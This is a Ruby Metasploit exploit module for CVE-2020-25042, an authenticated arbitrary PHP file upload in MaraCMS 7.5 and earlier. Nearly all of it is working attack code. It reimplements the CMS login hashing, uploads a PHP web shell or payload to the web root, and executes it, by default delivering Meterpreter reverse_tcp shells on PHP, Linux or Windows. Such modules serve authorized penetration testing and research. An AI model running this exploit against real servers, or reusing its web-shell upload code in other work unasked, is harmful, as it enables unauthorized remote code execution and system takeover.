306 lines
12 KiB
Ruby
306 lines
12 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'MaraCMS Arbitrary PHP File Upload',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary file upload vulnerability in
|
|
MaraCMS 7.5 and prior in order to execute arbitrary commands.
|
|
|
|
The module first attempts to authenticate to MaraCMS. It then tries
|
|
to upload a malicious PHP file to the web root via an HTTP POST
|
|
request to `codebase/handler.php.` If the `php` target is selected,
|
|
the payload is embedded in the uploaded file and the module attempts
|
|
to execute the payload via an HTTP GET request to this file. For the
|
|
`linux` and `windows` targets, the module uploads a simple PHP web
|
|
shell similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it
|
|
leverages the CmdStager mixin to deliver the final payload via a
|
|
series of HTTP GET requests to the PHP web shell.
|
|
|
|
Valid credentials for a MaraCMS `admin` or `manager` account are
|
|
required. This module has been successfully tested against MaraCMS
|
|
7.5 running on Windows Server 2012 (XAMPP server).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Michele Cisternino', # aka (0blio_) - discovery and PoC
|
|
'Erik Wynter' # @wyntererik - Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2020-25042'],
|
|
['EDB', '48780']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\x0d\x0a"
|
|
},
|
|
'Platform' => %w[linux win php],
|
|
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'PHP', {
|
|
'Arch' => [ARCH_PHP],
|
|
'Platform' => 'php',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux', {
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'linux',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows', {
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'win',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2020-08-31',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'The base path to MaraCMS', '/']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'changeme'])
|
|
]
|
|
end
|
|
|
|
def check
|
|
vprint_status('Running check')
|
|
|
|
# visit /about.php to obtain MaraCMS version and cookies
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'about.php'),
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed.')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('Mara cms')
|
|
return CheckCode::Safe('Target is not a MaraCMS application.')
|
|
end
|
|
|
|
html = res.get_html_document
|
|
version_header = html.css('h1').text # obtain the h1 text, which for MaraCMS 7.5 is `Version 7.2 :: Production release`
|
|
version = version_header.split(' ')[1] # grab the version number
|
|
|
|
if version.blank?
|
|
return CheckCode::Detected('Could not determine MaraCMS version.')
|
|
end
|
|
|
|
version = Gem::Version.new version
|
|
|
|
unless version <= Gem::Version.new('7.2') # 7.2 is the version listed on the about page for MaraCMS 7.5
|
|
# MaraCMS no longer seems to be maintained, but the check below is added in case they every update it
|
|
return CheckCode::Safe('Target is likely MaraCMS with a version higher than 7.5 and may not be vulnerable.')
|
|
end
|
|
|
|
return CheckCode::Appears('Target is most likely MaraCMS with version 7.5 or lower')
|
|
end
|
|
|
|
def login
|
|
# visit login page in order to obtain `shash` value, which is necessary for authentication
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'vars_get' => { 'login' => '' }
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
|
|
end
|
|
|
|
unless res.code == 200 && /shash='(?<shash>.*?)';/ =~ res.body # obtain shash value from inside a <script> tag
|
|
fail_with(Failure::Unknown, 'Failed to obtain the `shash` token that is necessary to authenticate to the server.')
|
|
end
|
|
|
|
nocache_value = rand # when visiting the page with a browser, JS generates the nocache_value in the same manner
|
|
|
|
# try to obtain salt required for authentication
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },
|
|
'vars_get' => {
|
|
'nocache' => nocache_value
|
|
},
|
|
'vars_post' => {
|
|
'action' => Rex::Text.encode_base64('setsalt').to_s,
|
|
'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string
|
|
'status' => Rex::Text.encode_base64('Sending Request').to_s
|
|
}
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('~::~')
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to obtain the salt required for authentication.')
|
|
end
|
|
|
|
# obtain salt
|
|
salt_base64 = res.body.to_s.split('~')[2] # the base64 encoded salt is returned in the format: ~::~encoded_salt~::~
|
|
salt = Rex::Text.decode_base64(salt_base64)
|
|
if salt.to_i == 0 # if the salt is nil or contains characters other than numbers, this will be true
|
|
# in case of an error, the server sends the error message, so this should be passed to the user
|
|
fail_with(Failure::Unknown, "Failed to obtain the salt required for authentication. The server sent the following response: #{salt}")
|
|
end
|
|
print_status("Obtained salt `#{salt}` from server. Using salt to authenticate...")
|
|
|
|
# use salt to generate authentication tokens
|
|
username = datastore['USERNAME']
|
|
password = datastore['PASSWORD']
|
|
@username_base64 = Rex::Text.encode_base64(username) # this value is also used when uploading the payload
|
|
unsalted_hash = Digest::SHA256.hexdigest("#{password}#{shash}#{username}")
|
|
salted_hash = Digest::SHA256.hexdigest("#{unsalted_hash}#{salt}")
|
|
@salted_hash_base64 = Rex::Text.encode_base64(salted_hash) # this value is also used when uploading the payload
|
|
nocache_value = rand # create new nocache_value
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}" },
|
|
'vars_get' => {
|
|
'nocache' => nocache_value
|
|
},
|
|
'vars_post' => {
|
|
'usr' => @username_base64,
|
|
'hash' => Rex::Text.encode_base64(unsalted_hash),
|
|
'pwd' => @salted_hash_base64,
|
|
'action' => Rex::Text.encode_base64('login').to_s,
|
|
'enccrc' => Digest::SHA256.hexdigest(''), # sha256 encoding of empty string
|
|
'rawresponse' => Rex::Text.encode_base64(salt_base64),
|
|
'status' => Rex::Text.encode_base64('Sending Request').to_s
|
|
}
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('~::~')
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate to the server.')
|
|
end
|
|
|
|
# obtain base64 encoded response from body and decode it
|
|
server_response = Rex::Text.decode_base64(res.body.to_s.split('~')[2])
|
|
unless server_response.include?('OK:')
|
|
fail_with(Failure::NoAccess, "#{server_response}.") # if authentication fails, the server sends the error message
|
|
end
|
|
|
|
print_good('Successfully authenticated to MaraCMS')
|
|
end
|
|
|
|
def upload_payload
|
|
# set payload according to target platform
|
|
if target['Platform'] == 'php'
|
|
pl = payload.encoded
|
|
else
|
|
@shell_cmd_name = rand_text_alphanumeric(3..6)
|
|
pl = "system($_GET[\"#{@shell_cmd_name}\"]);"
|
|
end
|
|
|
|
@payload_name = rand_text_alphanumeric(8..12) << '.php'
|
|
one_base64 = Rex::Text.encode_base64('1') # used twice below
|
|
|
|
# generate post data
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')
|
|
post_data.add_part(Rex::Text.encode_base64('upload').to_s, nil, nil, 'form-data; name="action"')
|
|
post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
|
|
post_data.add_part('filenew', nil, nil, 'form-data; name="type"')
|
|
post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{@payload_name}\"")
|
|
post_data.add_part(@username_base64.to_s, nil, nil, 'form-data; name="usr"')
|
|
post_data.add_part(@salted_hash_base64.to_s, nil, nil, 'form-data; name="pwd"')
|
|
post_data.add_part(one_base64.to_s, nil, nil, 'form-data; name="authenticated"')
|
|
post_data.add_part('/', nil, nil, 'form-data; name="destdir"')
|
|
|
|
print_status("Uploading payload as #{@payload_name}...")
|
|
|
|
# upload payload
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'codebase', 'handler.php'),
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'headers' => { 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}#{normalize_uri(target_uri.path, 'codebase', 'dir.php?type=filenew')}" },
|
|
'data' => post_data.to_s
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?("OK: #{@payload_name} uploaded.")
|
|
fail_with(Failure::Unknown, 'Failed to upload the payload.')
|
|
end
|
|
|
|
register_file_for_cleanup(@payload_name)
|
|
|
|
print_good("Successfully uploaded #{@payload_name}")
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, @payload_name),
|
|
'vars_get' => { @shell_cmd_name => cmd }
|
|
})
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::Unknown, 'Failed to execute the payload.')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
login
|
|
|
|
upload_payload
|
|
|
|
# For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.
|
|
if target['Platform'] == 'php'
|
|
print_status('Executing the payload...')
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, @payload_name)
|
|
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
|
|
else
|
|
print_status("Executing the payload via a series of HTTP GET requests to `/#{@payload_name}?#{@shell_cmd_name}=<command>`")
|
|
execute_cmdstager(background: true)
|
|
end
|
|
end
|
|
end
|